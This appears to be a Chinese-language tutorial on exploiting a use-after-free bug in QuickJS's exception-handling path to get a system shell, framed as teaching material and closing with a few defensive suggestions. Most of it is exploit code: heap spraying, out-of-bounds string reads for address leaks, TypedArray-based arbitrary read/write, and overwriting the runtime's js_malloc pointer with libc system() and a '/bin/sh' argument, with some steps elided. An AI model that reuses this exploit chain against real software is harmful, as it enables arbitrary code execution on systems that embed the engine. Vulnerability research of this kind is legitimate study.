QuickJS 引擎 UAF 漏洞利用教学文档<\/h1>

1. 漏洞概述<\/h2>

1.1 漏洞基本信息<\/h3>

漏洞类型<\/strong>：Use-After-Free (UAF)<\/li>
影响组件<\/strong>：QuickJS JavaScript 引擎<\/li>
漏洞位置<\/strong>：quickjs.c<\/code> 中的异常处理机制<\/li>

利用结果<\/strong>：获取系统shell权限<\/li> <\/ul> 1.2 漏洞原理分析<\/h3> 漏洞源于QuickJS引擎在异常处理过程中存在双重释放问题。具体来说，在JS_CallInternal<\/code>函数的异常处理路径中，当设置全局属性失败时，栈指针sp<\/code>的递减操作被错误地移动到了异常处理代码块之外，导致在异常发生时能够重复释放同一个栈帧。<\/p> 2. 环境准备<\/h2> 2.1 源码获取与编译<\/h3> # 获取QuickJS源码<\/span> <\/span><\/span>git clone https:\/\/github.com\/bellard\/quickjs <\/span><\/span> <\/span><\/span># 编译前准备：插入调试钩子<\/span> <\/span><\/span><\/code><\/pre>2.2 调试功能增强<\/h3> 在QuickJS源码中添加自定义调试功能：<\/p> 2.2.1 新增操作码<\/h4> 在词法分析器中添加TOK_DEBUGGER<\/code>处理：<\/p> case<\/span> TOK_DEBUGGER: <\/span><\/span> if<\/span> (next_token(s)) <\/span><\/span> goto<\/span> fail; <\/span><\/span> \/* emit a custom opcode to trigger debugger *\/<\/span> <\/span><\/span> emit_op(s, OP_debugger); \/\/ 新增的opcode <\/span><\/span><\/span><\/span> break<\/span>; <\/span><\/span><\/code><\/pre>2.2.2 定义调试处理函数<\/h4> static<\/span> void<\/span> js_debugger_hook<\/span>(JSContext *<\/span>ctx) <\/span><\/span>{ <\/span><\/span> JSRuntime *<\/span>rt =<\/span> ctx-><\/span>rt; <\/span><\/span> if<\/span> (rt-><\/span>current_stack_frame) { <\/span><\/span> JSValue func =<\/span> rt-><\/span>current_stack_frame-><\/span>cur_func; <\/span><\/span> if<\/span> (!<\/span>JS_IsNull(func)) { <\/span><\/span> JSValue name =<\/span> JS_GetPropertyStr(ctx, func, "name"<\/span>); <\/span><\/span> const<\/span> char<\/span> *<\/span>str =<\/span> JS_ToCString(ctx, name); <\/span><\/span> printf("🛑 debugger; hit in function: %s<\/span>\n<\/span>"<\/span>, str ?<\/span> str : "<anonymous>"<\/span>); <\/span><\/span> JS_FreeCString(ctx, str); <\/span><\/span> JS_FreeValue(ctx, name); <\/span><\/span> } else<\/span> { <\/span><\/span> printf("🛑 debugger; hit in top-level<\/span>\n<\/span>"<\/span>); <\/span><\/span> } <\/span><\/span> } else<\/span> { <\/span><\/span> printf("🛑 debugger; hit (no stack frame)<\/span>\n<\/span>"<\/span>); <\/span><\/span> } <\/span><\/span> fflush(stdout); <\/span><\/span> raise(SIGTRAP); <\/span><\/span>} <\/span><\/span><\/code><\/pre>3. 漏洞分析<\/h2> 3.1 Patch分析<\/h3> 原始patch显示了关键修改：<\/p> @@ -18123,15 +18123,14 @@ static JSValue JS_CallInternal(JSContext *caller_ctx, JSValueConst func_obj, <\/span><\/span><\/span><\/span> } <\/span><\/span> ret = JS_SetPropertyInternal(ctx, ctx->global_obj, cv->var_name, sp[-1], <\/span><\/span> ctx->global_obj, JS_PROP_THROW_STRICT); <\/span><\/span>- sp--; <\/span><\/span><\/span><\/span> if (ret < 0) <\/span><\/span> goto exception; <\/span><\/span> } <\/span><\/span> } else { <\/span><\/span> put_var_ok: <\/span><\/span> set_value(ctx, var_ref->pvalue, sp[-1]); <\/span><\/span>- sp--; <\/span><\/span><\/span><\/span> } <\/span><\/span>+ sp--; <\/span><\/span><\/span><\/span>} <\/span><\/span>BREAK; <\/span><\/span>CASE(OP_get_loc): <\/span><\/span><\/code><\/pre>3.2 利用原理<\/h3> 双重释放触发<\/strong>：通过设置会抛出异常的属性setter，强制进入异常处理路径<\/li> 异常处理机制<\/strong>：在exception<\/code>标签处的代码会遍历栈帧并进行释放操作<\/li> UAF形成<\/strong>：修改后的代码导致同一个栈帧被释放两次<\/li> <\/ol> 4. 利用技术详解<\/h2> 4.1 内存布局操控<\/h3> 4.1.1 堆喷射技术<\/h4> 通过大量分配特定大小的对象来操控堆布局：<\/p> function<\/span> heap_spray<\/span>(num<\/span>) { <\/span><\/span> for<\/span>(let<\/span> i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> num<\/span>; i<\/span>++<\/span>) { <\/span><\/span> const<\/span> ta<\/span> =<\/span> new<\/span> Uint32Array<\/span>(0x48<\/span>\/<\/span>4<\/span>); <\/span><\/span> ta<\/span>[0<\/span>] =<\/span> 0x6e69622f<\/span>; \/\/ "\/bin" 的十六进制表示 <\/span><\/span><\/span><\/span> ta<\/span>[1<\/span>] =<\/span> 0x68732f<\/span>; \/\/ "\/sh" 的十六进制表示 <\/span><\/span><\/span><\/span> tas<\/span>.push<\/span>(ta<\/span>); <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>4.1.2 对象释放与重用<\/h4> 通过释放部分对象引用，为后续利用创造条件：<\/p> for<\/span>(let<\/span> i<\/span> =<\/span> 1<\/span>; i<\/span> <<\/span> 2<\/span>; i<\/span>++<\/span>) { <\/span><\/span> tas<\/span>[i<\/span>] =<\/span> null<\/span>; \/\/ 释放引用，但不立即回收 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>4.2 信息泄露<\/h3> 4.2.1 JSString越界读取<\/h4> 利用JSString结构体的特性进行越界内存读取：<\/p> function<\/span> leak_uint64<\/span>(i<\/span>) { <\/span><\/span> leak_low<\/span> =<\/span> target_string_obj<\/span>.substring<\/span>(i<\/span>, i<\/span>+<\/span>4<\/span>); <\/span><\/span> leak_high<\/span> =<\/span> target_string_obj<\/span>.substring<\/span>(i<\/span>+<\/span>4<\/span>, i<\/span>+<\/span>8<\/span>); <\/span><\/span> leak_low_hex<\/span> =<\/span> stringToHex<\/span>(leak_low<\/span>); <\/span><\/span> leak_high_hex<\/span> =<\/span> stringToHex<\/span>(leak_high<\/span>); <\/span><\/span> return<\/span> [leak_low_hex<\/span>, leak_high_hex<\/span>]; <\/span><\/span>} <\/span><\/span><\/code><\/pre>4.2.2 特征值扫描<\/h4> 通过扫描内存中的特定模式来定位关键数据结构：<\/p> for<\/span>(var<\/span> i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> string_length<\/span>; i<\/span> +=<\/span> 0x8<\/span>) { <\/span><\/span> [leak_low_hex<\/span>, leak_high_hex<\/span>] =<\/span> leak_uint64<\/span>(i<\/span>); <\/span><\/span> if<\/span> (leak_low_hex<\/span> ==<\/span> 0x6e69622f<\/span> &&<\/span> leak_high_hex<\/span> ==<\/span> 0x68732f<\/span>) { <\/span><\/span> offset_table<\/span>.push<\/span>(i<\/span>); \/\/ 记录特征值位置 <\/span><\/span><\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>4.3 任意地址读写<\/h3> 4.3.1 TypedArray劫持<\/h4> 利用TypedArray的JSObject结构实现任意地址读写：<\/p> function<\/span> aar32<\/span>(addr_low<\/span>, addr_high<\/span>) { <\/span><\/span> uaf_view<\/span>[14<\/span>] =<\/span> addr_low<\/span>; <\/span><\/span> uaf_view<\/span>[15<\/span>] =<\/span> addr_high<\/span>; <\/span><\/span> return<\/span> target_obj<\/span>[0<\/span>]; <\/span><\/span>} <\/span><\/span> <\/span><\/span>function<\/span> aaw32<\/span>(addr_low<\/span>, addr_high<\/span>, val<\/span>) { <\/span><\/span> uaf_view<\/span>[14<\/span>] =<\/span> addr_low<\/span>; <\/span><\/span> uaf_view<\/span>[15<\/span>] =<\/span> addr_high<\/span>; <\/span><\/span> target_obj<\/span>[0<\/span>] =<\/span> val<\/span>; <\/span><\/span>} <\/span><\/span><\/code><\/pre>4.3.2 关键结构体分析<\/h4> JSTypedArray结构<\/strong>：<\/p> struct<\/span> JSTypedArray { <\/span><\/span> JSObject *<\/span>obj; <\/span><\/span> JSObject *<\/span>buffer; <\/span><\/span> uint64_t<\/span> offset; <\/span><\/span> uint64_t<\/span> length; <\/span><\/span> \/\/ ... 其他字段 <\/span><\/span><\/span><\/span>}; <\/span><\/span><\/code><\/pre>JSString结构<\/strong>：<\/p> struct<\/span> JSString { <\/span><\/span> JSRefCountHeader header; <\/span><\/span> uint32_t<\/span> len : 31<\/span>; <\/span><\/span> uint8_t<\/span> is_wide_char : 1<\/span>; <\/span><\/span> uint32_t<\/span> hash : 30<\/span>; <\/span><\/span> uint8_t<\/span> atom_type : 2<\/span>; <\/span><\/span> \/\/ ... 字符串数据 <\/span><\/span><\/span><\/span>}; <\/span><\/span><\/code><\/pre>4.4 权限提升<\/h3> 4.4.1 JSRuntime结构利用<\/h4> typedef<\/span> struct<\/span> JSMallocFunctions { <\/span><\/span> void<\/span> *<\/span>(*<\/span>js_malloc)(JSMallocState *<\/span>s, size_t size); <\/span><\/span> void<\/span> (*<\/span>js_free)(JSMallocState *<\/span>s, void<\/span> *<\/span>ptr); <\/span><\/span> void<\/span> *<\/span>(*<\/span>js_realloc)(JSMallocState *<\/span>s, void<\/span> *<\/span>ptr, size_t size); <\/span><\/span> size_t (*<\/span>js_malloc_usable_size)(const<\/span> void<\/span> *<\/span>ptr); <\/span><\/span>} JSMallocFunctions; <\/span><\/span> <\/span><\/span>struct<\/span> JSRuntime { <\/span><\/span> JSMallocFunctions mf; \/\/ 函数指针结构 <\/span><\/span><\/span><\/span> JSMallocState malloc_state; \/\/ 可被修改为"\/bin\/sh" <\/span><\/span><\/span><\/span> \/\/ ... 其他字段 <\/span><\/span><\/span><\/span>}; <\/span><\/span><\/code><\/pre>4.4.2 利用步骤<\/h4> 泄露基地址<\/strong>：通过JSRuntime中的函数指针泄露ELF基地址<\/li> 获取libc地址<\/strong>：通过ELF的GOT表泄露libc基地址<\/li> 函数指针劫持<\/strong>：修改js_malloc<\/code>为system<\/code>函数<\/li> 参数控制<\/strong>：将malloc_state<\/code>修改为\/bin\/sh<\/code><\/li> 触发执行<\/strong>：通过分配新堆块触发函数调用<\/li> <\/ol> 5. 完整利用脚本<\/h2> 5.1 工具函数<\/h3> const<\/span> hex<\/span> =<\/span> (x<\/span>) => { return<\/span> (""<\/span> +<\/span> x<\/span>.toString<\/span>(16<\/span>)); } <\/span><\/span>const<\/span> log<\/span> =<\/span> (msg<\/span>) => { console<\/span>.log<\/span>("[*] "<\/span> +<\/span> msg<\/span>); } <\/span><\/span> <\/span><\/span>function<\/span> sleep<\/span>(time<\/span>) { <\/span><\/span> var<\/span> timeStamp<\/span> =<\/span> new<\/span> Date().getTime<\/span>(); <\/span><\/span> var<\/span> endTime<\/span> =<\/span> timeStamp<\/span> +<\/span> time<\/span>; <\/span><\/span> while<\/span>(true<\/span>) { <\/span><\/span> if<\/span>(new<\/span> Date().getTime<\/span>() ><\/span> endTime<\/span>) { <\/span><\/span> return<\/span>; <\/span><\/span> } <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>5.2 主要攻击流程<\/h3> function<\/span> uaf_attack<\/span>(template_type_array<\/span>) { <\/span><\/span> \/\/ 堆布局准备 <\/span><\/span><\/span><\/span> for<\/span>(let<\/span> i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> 10<\/span>; i<\/span>++<\/span>) { <\/span><\/span> const<\/span> ta<\/span> =<\/span> new<\/span> Uint32Array<\/span>(0x100<\/span>); <\/span><\/span> ta<\/span>[0<\/span>] =<\/span> 0x6e69622f<\/span>; ta<\/span>[1<\/span>] =<\/span> 0x68732f<\/span>; <\/span><\/span> tas<\/span>.push<\/span>(ta<\/span>); <\/span><\/span> } <\/span><\/span> <\/span><\/span> \/\/ 触发UAF漏洞 <\/span><\/span><\/span><\/span> try<\/span> { <\/span><\/span> Object.defineProperty<\/span>(globalThis<\/span>, 'vuln_var'<\/span>, { <\/span><\/span> set<\/span>:<\/span> function<\/span>(val<\/span>) { throw<\/span> new<\/span> Error("assignment failed!"<\/span>); }, <\/span><\/span> configurable<\/span>:<\/span> true<\/span> <\/span><\/span> }); <\/span><\/span> } catch<\/span>(e<\/span>) {} <\/span><\/span> <\/span><\/span> try<\/span> { <\/span><\/span> vuln_var<\/span> =<\/span> target_obj<\/span>; <\/span><\/span> } catch<\/span>(e<\/span>) { <\/span><\/span> log<\/span>("assignment failed as expected: "<\/span> +<\/span> e<\/span>.message<\/span>); <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>5.3 信息泄露与权限提升<\/h3> function<\/span> attack<\/span>() { <\/span><\/span> var<\/span> template_type_array<\/span> =<\/span> leak_info_by_jsstring<\/span>(); <\/span><\/span> uaf_attack<\/span>(template_type_array<\/span>); <\/span><\/span> <\/span><\/span> \/\/ 泄露JSRuntime地址 <\/span><\/span><\/span><\/span> var<\/span> JSRuntime<\/span> =<\/span> []; <\/span><\/span> for<\/span>(var<\/span> i<\/span> =<\/span> 0<\/span>; i<\/span> <<\/span> 0x30000<\/span>; i<\/span> +=<\/span> 8<\/span>) { <\/span><\/span> \/\/ ... 地址扫描逻辑 <\/span><\/span><\/span><\/span> } <\/span><\/span> <\/span><\/span> \/\/ 计算基地址 <\/span><\/span><\/span><\/span> var<\/span> elf_base<\/span> =<\/span> [], libc_base<\/span> =<\/span> []; <\/span><\/span> elf_base<\/span>[0<\/span>] =<\/span> aar32<\/span>(JSRuntime<\/span>[0<\/span>], JSRuntime<\/span>[1<\/span>]) -<\/span> 0x15255<\/span>; <\/span><\/span> \/\/ ... 基地址计算 <\/span><\/span><\/span><\/span> <\/span><\/span> \/\/ 函数指针劫持 <\/span><\/span><\/span><\/span> aaw32<\/span>(JSRuntime<\/span>[0<\/span>], JSRuntime<\/span>[1<\/span>], libc_base<\/span>[0<\/span>] +<\/span> 0x58750<\/span>); \/\/ system地址 <\/span><\/span><\/span><\/span> aaw32<\/span>(JSRuntime<\/span>[0<\/span>] +<\/span> 0x20<\/span>, JSRuntime<\/span>[1<\/span>], 0x6e69622f<\/span>); \/\/ "\/bin\/sh" <\/span><\/span><\/span><\/span> aaw32<\/span>(JSRuntime<\/span>[0<\/span>] +<\/span> 0x20<\/span> +<\/span> 4<\/span>, JSRuntime<\/span>[1<\/span>], 0x68732f<\/span>); <\/span><\/span>} <\/span><\/span><\/code><\/pre>6. 关键技术点总结<\/h2> 6.1 漏洞触发条件<\/h3> 需要设置会抛出异常的属性setter<\/li> 通过赋值操作强制进入异常处理路径<\/li> 利用异常处理机制中的双重释放<\/li> <\/ul> 6.2 利用链构建<\/h3> 初始信息泄露<\/strong>：通过JSString越界读取获取堆布局信息<\/li> 内存操控<\/strong>：通过堆喷射控制内存布局<\/li> 地址泄露<\/strong>：扫描内存获取关键数据结构地址<\/li> 权限提升<\/strong>：劫持函数指针获取代码执行权限<\/li> <\/ol> 6.3 防御绕过技术<\/h3> 利用JavaScript引擎内部机制进行内存操作<\/li> 通过合法API调用间接操控内存<\/li> 利用引擎的垃圾回收机制进行堆布局操控<\/li> <\/ul> 7. 防护建议<\/h2> 7.1 代码层面<\/h3> 严格管理指针的生命周期<\/li> 在异常处理路径中确保资源正确释放<\/li> 使用静态分析工具检测UAF漏洞<\/li> <\/ul> 7.2 运行时防护<\/h3> 启用地址空间布局随机化(ASLR)<\/li> 使用内存安全语言重写关键组件<\/li> 实施严格的沙箱隔离机制<\/li> <\/ul> 本教学文档详细分析了QuickJS引擎UAF漏洞的利用技术，从环境准备到最终getshell的完整流程，涵盖了关键的技术原理和实现细节。<\/p>